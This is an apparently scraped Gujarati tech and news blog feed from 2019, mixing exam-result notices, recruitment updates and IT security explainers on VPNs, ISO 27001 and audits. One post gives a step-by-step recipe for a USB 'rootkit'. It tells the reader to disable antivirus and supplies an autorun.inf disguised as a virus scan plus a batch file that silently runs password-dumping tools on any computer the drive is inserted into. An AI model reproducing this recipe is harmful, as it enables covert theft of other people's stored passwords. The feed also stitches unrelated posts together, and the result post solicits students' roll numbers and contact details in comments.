Click Here To Show Your Result

Gujarat 10th Result 2019:
Gujarat Board to Announce Class 10 SSC Results Today at gseb.org

The Gujarat Board Result 2019: Gujarat 10th Result 20219 will be uploaded today on the Gujarat Secondary and Higher Secondary Education Board’s official website gseb.org.

The Gujarat Board class 10 examinations for the 2018-2019 academic sessions were held from March 7 to March 19. In this year, approximately early 8 lakhs students appeared in the exam.

Where to Check GSEB Class 10 Result 2019?

You will check Your 10 result gseb.org website or comment below under comment section your 10th Roll Number and Mobile No: or Email ID we will send your result vai email or SMS.

Click Here To See Your Result

Gujarat 10th Result 2019 Today
:: The Gujarat Secondary and Higher Secondary Education Board, Gandhinagar, which is also popular as GSEB is all set to publish the Gujarat 10th Result 2019 today at 6 am. The Gujarat Board Result 2019, Gujarat 10th Result 20219 will be uploaded on the Gujarat Secondary and Higher Secondary Education Board’s official website gseb.org.

The GSEB conducts the class 10 board examination for the academic year 2018-19. The Gujarat 10th Result 2019, GSEB SSC Result 2019, GSEB 10th Result 2019 will be available online once declared. Candidates can frequently visit the Gujarat Secondary and Higher Secondary Education Board’s webpage and check their Gujarat 10th Result 2019, GSEB 10th Result 2019 once the hosted URL is activated.

Gujarat 10th Result 2019
: How to Check GSEB SSC Result 2019?

Go at the GSEB’s official website gseb.org
On the homepage, click on GSEB SSC Result 2019 link
Enter the required details like roll number and date of birth to 10th Result 2019
Submit the details to check your 10th Result 2019
You can view your GSEB 10th Result 2019 and scorecard. Download it or take a print out.

Click Here To Show Your Result

SSC Result 2019, Gujarat 10th Result 2019 can also view at these two portal examresults.net, indiaresults.com

TAG : - Gujarat 10th Result 2019, 2019 GUJARAT 10TH RESULTS, 2019 GSEB 10TH RESULTS, 2019 GSEB RESULT

Bhaguda Live Program 2019

noreply@blogger.com (Weekly Highlight) — Thu, 16 May 2019 17:41:00 +0000

Mogal Dham Bhaguda 2019

Today Bhaguda Dham live Dayro 2019

Play online Bhaguda Live program clicking on bellow Video:

How Can Work Root Kit(રૂટકિટ)?

noreply@blogger.com (Weekly Highlight) — Thu, 16 May 2019 11:07:00 +0000

Root Kit(રૂટકિટ)

How Can Work Root Kit(રૂટકિટ)? અહીં સ્ટેપ બાય સ્ટેપ રૂટકિટ બનવા માટેના રસ્તા આપેલા છે. જે નીસે મુજબ છે.......

તમારે ફરજીયાત પાણે તમારો એન્ટીવારસ બંધ કરી દેવો , જેથી એન્ટીવારિસ તમારી રૂટકિટ ની ફાઈલો ને ડેલેટે ના કરી નાખે।.

પછી નીસેના પગથિયાં ને અનુસરો.......

નીચે દર્શાવેલ બધી ફિલો ડાઉન્લોઅડ કરી બધી ફિલો ને એક્સટેક્ટ કરી ને પેનડ્રાઈવ માં કોપી કરો , આ બધી ફિલો એક્સકટેબલ ફિલો છે જે નીચે મુજબ છે

mspass.exe

mailpv.exe

iepv.exe

pspv.exe

passwordfox.exe

હવે એક નોટપેડ ની ફાઈલ બનોવો જેમાં નીચે નો કોડ લખવાનો છે.

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

હવે આ ફાઈલ ને સેવ કરીને રેનેમ કરીછુ દ.ત : New Document.txt માંથી autorun.inf નામ લખો , હવે આ ફાઈલ ને પેનડ્રાઈવે માં કોપી કરીલો

હવે બીજી એક નોટપેડ ફાઈલ બનોવો જેમાં નીચે પ્રમાણે નું લખાણ લખવાનું છે.

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

નોટપેડની ફાઈલ ને સેવ કરી અને તેનું નામ Document.txt માંથી નવા લખાણ launch.bat કરી સેવ કરીલો

તમારી USB ડ્રાઇવ પર launch.bat ફાઇલની નકલ કરો.

હવે તમારા rootkit તૈયાર છે અને તમે બધા પાસવર્ડ્સ સુંઘે માટે સુયોજિત છે. તમે સંગ્રહિત પાસવર્ડ્સ સુંઘે કોઈપણ કમ્પ્યુટર પર આ pendrive ઉપયોગ કરી શકો છો. માત્ર આ પગલાંઓ અનુસરો

1. pendrive દાખલ કરો અને Autorun વિન્ડો પોપ અપ કરશે. (આ છે, કારણ કે આપણે એક Autorun pendrive રચના કરી છે).

2. પૉપ-અપ વિંડો માં, પ્રથમ વિકલ્પ પસંદ કરો (વાયરસ સ્કેન કરો).

3. હવે બધા પાસવર્ડ પુનઃપ્રાપ્તિ સાધનો પૃષ્ઠભૂમિમાં શાંતિપૂર્વક ચલાવવામાં આવશે (આ પ્રક્રિયા ભાગ્યે જ થોડા સેકન્ડ લાગે છે). પાસવર્ડો .TXT ફાઇલો સંગ્રહિત મળે છે. જેમાં બધાજ પાસવર્ડ સેવ થયેલા હશે।

4. pendrive દૂર કરો અને તમે .TXT ફાઇલો સંગ્રહિત પાસવર્ડ્સ જોઈ શકશો. આ હેક વિન્ડોઝ 2000 પર કામ કરે છે, એક્સપી, વિસ્ટા અને વિન્ડોઝ 7

How Can Work Root Kit

નોંધ: આ પ્રક્રિયા માત્ર કમ્પ્યુટર પર સંગ્રહિત પાસવર્ડ્સ (જો કોઈ હોય તો) પુનઃપ્રાપ્ત કરશે.

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WHY IS IT SECURITY NECESSARY?

noreply@blogger.com (Weekly Highlight) — Tue, 14 May 2019 12:50:00 +0000

WHY IS IT SECURITY NECESSARY?

Most companies use electronic information extensively to support their daily business processes. Data is stored on customers, products, contracts, financial result, accounting etc. If this electronic information were to become available to competitors or to become corrupted, false or disappear, what would happen? What would the consequences be? Could the business still function?

1) Customer information or accounting information could be disclosed, affecting credibility.

2) This information could be used by new competitors to launch more effective marketing campaigns.

3) Competitors could launch an invisible, but effective attack which would be difficult to prove. If such an attack disrupted customer service, destroyed some accounting data, it would reduce customer confidence and help competitors increase their market share.

4) IT systems have been under attack for decades now, but never before were so many computers networked, never before have so many cheap automated information attack weapons been available to would-be enemies. If is often impossible or very difficult to know if you are under attack and from whom. Attacker sophistication has increased enormously in the last 5-15 years. In the last 3 years many automated attack tools have appeared on the Internet, making is much easier for ignorant attackers to cause considerable damage.

5) many of the weapons only available to the intelligence community a few years ago can be bought commercially.

6) Virus development has continued at an alarming rate in the last few years, leaving few, if any companies untouched.

7) System interconnection increases security risks significantly

" The Network is the Computer " is a phrase coined by Sun Microsystems in the mid eighties, which is even true now than then. Applications have moved from single systems to a multiple of co-operating modules across different systems. A typical example would be a client server application that consists of a PC client which passes via a UNIX gateway to access data on a mainframe. For such an application to be secure, the PC, UNIX, Mainframe and network need to be secured. Security in a client server environment is complicated by the use of completely different authentication mechanisms on each machine. A client-server application is classified at a security level based on the security of the weakest link in the chain of component elements. What is the point is very secure mainframe if for example: passwords are kept in readable from on PCs or on a piece of paper stuck on the PC screen?

Current Trend Is to Share, Not Protect

Even now, despite the stories of compromised data, people still want to share their data with everyone. And Web-based applications are making this easier to do than simply attaching a file to an email. Social networking sites provide the ability to share material.

Data Accessible From Anywhere

As though employees desire to share data is not enough of a threat to proprietary information, many business professionals want access to data from anywhere they work, on a variety of devices. To be productive, employees now request access to data and contact information on their laptops, desktops, home computers and mobile devices.

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How can set syskey Password ?

noreply@blogger.com (Weekly Highlight) — Wed, 08 May 2019 11:30:00 +0000

How can set syskey Password?

This password is not crack easily, it is stronger password.

Let’s Set Syskey Password.

1st go start button and click on run Menu and write syskey and press OK button than open one window which is SAM Lock Tool.

2nd press update button and select password startup radio button and input password which is you want to set password. Than press ok Button.

Your SYSKEY password is set in your system.

Let's Shaw Video Of Syskey password......

If You Will Remove SysKey Password Than Click on System Generated Password.

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Introduction To VPN || Application || Requirements Of VPN || VPN TYPES

noreply@blogger.com (Weekly Highlight) — Thu, 02 May 2019 15:58:00 +0000

Introduction To VPN

Tremendous strides in computer networking have increased the productivity of today's workers in today's workspace. The security risk in networking today has also grown. VPN routing uses virtual connections (instead of the traditional dialled line or a leased line) to connect users in remote offices to a private network over a public network. VPN networking offers many benefits. It allows for extended geographic connectivity, improves security, and is much more cost effective, than traditional wide area network (WAN) connectivity. Never before have so many people been able to connect almost seamlessly to their corporate network from home and on the road, which instantly allows real-time communication with their corporate LAN. VPNs are private networks, used by a company over an existing WAN infrastructure. A secure VPN uses tunnelling protocols to provide security, authentication, and integrity to VPN users. Business needs are constantly evolving and, with that evolution, the need to access information from a central location is even more prevalent. The VPN is highly sought after by companies interested in expanding the capabilities of their network. VPNs are prevalent in most business and homes where users are able to securely log in to the corporate LANs. VPN technology is very beneficial to people who travel often. They find that VPN allows them the flexibility of checking corporate applications virtually anywhere in the world. Because the access of data is instantaneous, information is shared in real time. A VPN is very cost-effective as well. unlike traditional private leased lines. VPN technology utilizes existing cabling and routers to connect one site to another in a virtual manner, over a public network (most often the Internet).

Application & Requirements Of VPN

VPN PROTOCOLS & STANDARDS

A few protocols have been introduced to accommodate VPN technology, including the following:

Secure Sockets Layer (SSL)

Public Key Infrastructure (PKI)

Secure ID

Internet Protocol Security (IPsec)

Layer 2 Forwarding (L2F)

Point-to-Point Tunneling Protocol (PPTP)

Layer 2 Tunneling Protocol (L2TP)

Generic Routing Encapsulation (GRE)

In this and the next section, we will discuss the protocols and get an understanding of what each does. Secure Sockets Layer Secure Sockets Layer (SSL) is a networking standard that is used to improve safety and security of network communications, through the use of encryption. SSL session starts with the handshake that first establishes a TCP/IP session. Once the TCP/IP session has been established, then a client is authenticated with a public key. After the authentication is complete, the server determines the level of security that is required for the client by choosing the strongest algorithm that is supported by the client and the server. The Last step that is taken is the establishment of a shared secret that is used to encrypt data being passed between the server and the client. Finally, the SSL session is established. Encryption services are very CPU-intensive and, therefore, an SSL session is established only when the transfer of sensitive data occurs. You can often determine if SSL has been employed by looking at a URL address field in a Web Browser and seeing a -- --s|| following the --http|| (that is, "https"). SSL uses several components are used for the purposes of performing checks and verification made between the end nodes. These components are as follows:

Certificates

Certificate Authority

Keys

Shared Secret

Certificates

SSL uses certificates, which are digital records that identify a person, group, or organization. Certificates are personal digital identification used for a variety of security reasons. Certificates are used in conjunction with public keys to identify the owner of the key and provide a way to pass sensitive data. Certificate Authority Certificates are assigned by a Certificate Authority (CA). Once the certificate is issued, it is then made available to the public. The certificate basically is confirmation that the CA verifies the information to be true and secure and that the public key attached to the certificate is Valid.

Keys

A key is a series of bits used by the algorithm will take a message and a key. Based on the same key bits, a new, encrypted message is generated and sent to the destination. Sometimes the same key is used to decrypt the data, but most often the destination has a key (which will be the only key that can decrypt the data and restore it back to the original message). Keys are used to providing the necessary encryption and decryption methods used to protect and secure data transitions. When a sending station wants to send encrypted data, a pair of keys is assigned: One of the keys is given to the sender and one of the destination. Data is then encrypted by one key and encrypted by another. No other key can decrypt this information.

Shared Secret

A Shared Secret is widely used because it is one password that is shared between users. The problem with a shared secret is pre-shared keys that are allocated to source and destination devices prior to the transfer of data. Public Key Infrastructure Public Key Infrastructure (PKI) is a way of verifying identities. It allows users to be united with a public key. PKI allows users to be known to each other through authentication. It allows the sharing of data by establishing the relationship and then sharing certificates to decrypt and encrypt information. PKI encompasses the hardware, software, and procedures that are needed to provide these services. IT ensures that all users use a private key to provide a digital signal to one another, which allows users to establish secrecy and integrity in the data they are sharing. Secure ID Developed by RSA Security, Secure ID is a technology that provides user authentication to network resources. The Secure ID mechanism contains hardware (known as a token) that is assigned to an individual user. The token generates authentication codes that regenerate periodically, using a built-in clocking device. The authentication codes are also set and are generated by the token's corresponding Secure ID server.

VPN TYPES

Virtual Private Network technology is based on the idea of tunnelling. VPN tunnelling involves establishing and maintaining a logical network connection (that may contain intermediate hops). On this connection, packets constructed in a specific VPN protocol format are encapsulated within some other base or carrier protocol, then transmitted between VPN client and server, and finally de-encapsulated on the receiving side. For Internet-based VPNs, packets in one of several VPN protocols are encapsulated within Internet Protocol (IP) packets. VPN protocols also support authentication and encryption to keep the tunnels secure.

TYPES OF VPN TUNNELING

VPN supports two types of tunnelling - voluntary and compulsory. Both types of tunnelling are commonly used. Involuntary tunnelling, the VPN client manages the connection setup. The client first makes a connection to the carrier network provider (an ISP in the case of Internet VPNs). Then, the VPN client application creates the tunnel to a VPN server over this live connection. In compulsory tunnelling, the carrier network provider manages VPN connection setup. When the client first makes an ordinary connection to the carrier, the carrier in turn immediately brokers a VPN connection between that client and a VPN server. From the client point of view, VPN connections are set up in just one step compared to the two-step procedure required for voluntary tunnels. Compulsory VPN tunnelling authenticates clients and associates them with specific VPN server using logic built into the broker device. This network device is sometimes called the VPN Front End Processor (FEP), Network Access Server (NAS) or Point of Presence Server (POS). Compulsory tunnelling hides the details of VPN server connectivity from the VPN Clients and effectively transfers management control over the tunnels from clients to the ISP. In return, service providers must take on the additional burden of installing and maintaining FEP devices.

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Documents Verification LRD Constable 2019

noreply@blogger.com (Weekly Highlight) — Thu, 02 May 2019 13:53:00 +0000

LRD CONSTABLE BHARTI DOCUMENTS VERIFICATION RELATED IMPORTANT NOTICE ON OFFICIAL LRD SITE

Selected Candidates list for document verification will declare 07/05/219. So that Stay Tuned Our Blog All In Gujarati Tech

If Don't Know Which Documents are shown in Document verification process the comment we will provide Document list.

LRD CONSTABLE BHARTI DOCUMENTS VERIFICATION

Board Name: Gujarat Police Recruitment Board(Lok Rakshak Dal)

Name of the Post: Constable, Jail Sipai Posts

No.of Vacancies: 9713 Posts

Official Website: www.ojas.gujarat.gov.in, www.lrdconstable2018.in

Job Type: Government Job

Job Location: Gujarat

Document Verification For LRD Constable Notification 2019

લોકરક્ષક કેડર દસ્તાવેજ ચકાસણી

ભારતીય ચુંટણી પંચ ધ્વારા તાજેતરમાં જ લોકરક્ષક કેડરની દસ્તાવેજ ચકાસણી હાથ ધરવા મંજુરી આપેલ હોવાથી દસ્તાવેજ ચકાસણીનો કાર્યક્રમ અને દસ્તાવેજ ચકાસણી માટે સમાવેશ કરવામાં આવનાર ઉમેદવારોની યાદી વેબ સાઇટ ઉપર તા.૦૭/૦૫/૨૦૧૯ સુધીમાં જાહેર કરવામાં આવશે.

જેથી આ અંગે લોકરક્ષક ભરતી બોર્ડ અથવા તો અન્ય કોઇ જગ્યા અથવા અધિકારીને ફોન ઉપર પુચ્છા નહીં કરવા તમામ ઉમેદવારોને વિનંતી છે.

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How To Verify Address In Adsence Account - 2019

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TIERS OF AN ISMS & HISTORY OF ISO 27001 & LOGICAL SECURITY AUDIT

HISTORY OF ISO 27001

Series Of ISO Models As Following :

TIERS OF AN ISMS (TYPICALLY)

Policy & Guidance-Applies to all staff

The ISMS will change organically with the organization to ensure continual improvement.

LOGICAL SECURITY AUDIT

The first step in an audit of any system is to seek to understand its components and its structure. When auditing logical security the auditor should investigate what security controls are in place, and how they work. In particular, the following areas are key points in auditing logical security :

2) TERMINATION PROCEDURES : Proper termination procedures so that old employees can no longer access the network. This can be done by changing passwords and codes. Also, all id cards and badges that are in circulation should be documented and accounted for.

3) SPECIAL USER ACCOUNTS : Special User Accounts and other privileged accounts should be monitored and have proper control in place.

4) REMOTE ACCESS : Remote Access is often a point where intruders can enter a system. The Logical security tools used for remote access should be very strict. Remote access should be logged.

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NETWORK VULNERABILITIES || AUDIT PLANNING || PREPARATION

NETWORK VULNERABILITIES

Interception : Data that is being transmitted over the network is vulnerable to being intercepted by an unintended third party who could put the data to harmful use.

Availability : Networks have become wide-spanning, crossing hundreds or thousands of miles which many rely on to access company information, and lost connectivity could cause business interruption.

Access/Entry Point : Networks are vulnerable to unwanted access. A weak point in the network can make that information available to intruders. It can also provide an entry point for viruses and Trojan horses.

Controls

1) Interception Controls : Interception can be partially deterred by physical access controls at data centers and officers, including where communication links terminate and where the network wiring and distributions are located. Encryption also helps to secure wireless networks.

2) Availability Controls : The best control for this is to have excellent network architecture and monitoring. The network should have redundant paths between every resource and an access point and automatic routing to switch the traffic to the available path without loss of data or time.

3) Access/Entry Point Controls : Most network controls are put at the point where the network connects with external network. These controls limit the traffic that pass through the network. These can include firewalls, intrusion detection systems, and antivirus software.

AUDIT PLANNING & PREPARATION

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IT SECURITY SERVICE LIFE CYCLE & ESSENTIAL TERMINOLOGIES

IT SECURITY SERVICE LIFE CYCLE

The SIX phases are described as follows:

Phase 1: Initiation - The need to initiate the services life cycle is recognized.

Phase 2: Assessment - Before decision makers can implement a service and select a service provider, an accurate portrait of the current environment must be developed.

Phase 3: Solution - decision makers choose the appropriate solution from the viable options identified during the assessment phase.

Phase 4: Implementation - the service and service provider are implemented during the implementation phase.

Phase 5: Operations - the service is operational, the service provider is fully installed, and constant assessment of the service level and performance is made.

Phase 6: Closeout - the environment changes, the need for the service diminishes, or performance deficiencies are noted necessitating a replacement or termination of the IT security service.

ESSENTIAL TERMINOLOGIES

Threat : An action or event that might compromise security. A treat is a potential violation of security

Vulnerability : Existence of a weakness, design, or implementation error that can lead to an unexpected and undesirable event compromising the security of the system

Target Of Evaluation : An IT system, product, or component that is identified - subjected to require security eveluation

Attack : An assault on the system security that is derived from an intelligent threat. An attack is any action that violates security

Exploit : A defined way to breach the security of an IT system through vulnerability

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INFORMATION SECURITY MANAGEMENT SYSTEM

INFORMATION SECURITY MANAGEMENT SYSTEM

IDEA BEHIND THE AUDIT

SECURITY PERIMETER

NECESSARY EVIL

A BOON FOR THE ORGANIZATION

AFTERMATH AND FOLLOW-UP

TOOLBOX FOR SECURITY AUDIT

BENEFITS OF COMPLIANCE

CRITICAL SUCCESS FACTORS

CONTROL OBJECTIVES AND CONTROLS IN ISO 27001

The following are the minimum control objectives and controls in ISO 27001, and they align directly with those in ISO 17799. Minimally, these objectives and controls shall be a part of the ISMS. Additional objectives and controls may be necessary, depending on the organization’s requirements.

PREPARING FOR CERTIFICATION

The steps involved in preparing for ISO 27001 certification are-:

PREPARING FOR CERTIFICATION

SYSTEM ADMINISTRATION

This consists of 4 key steps:

Establish Effective Security Configurations Maintain Software Detect Security Breaches Respond Intelligently to Incidents

DETECT SECURITY BREACHES

ASSET PROTECTION

The protection of assets can be broken down into two parts:-

1.Approving security changes. 2.Monitoring the security of the network.

FRAMEWORK 1 : DEFENSE IN DEPTH (DID)

FRAMEWORK 2 : OCTAVE

OCTAVE stands for Operationally Critical Threat, Asset and Vulnerability Evaluation

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Establish Effective Security Configurations

Maintain Software

Detect Security Breaches

Respond Intelligently to Incidents

1.Approving security changes.

2.Monitoring the security of the network.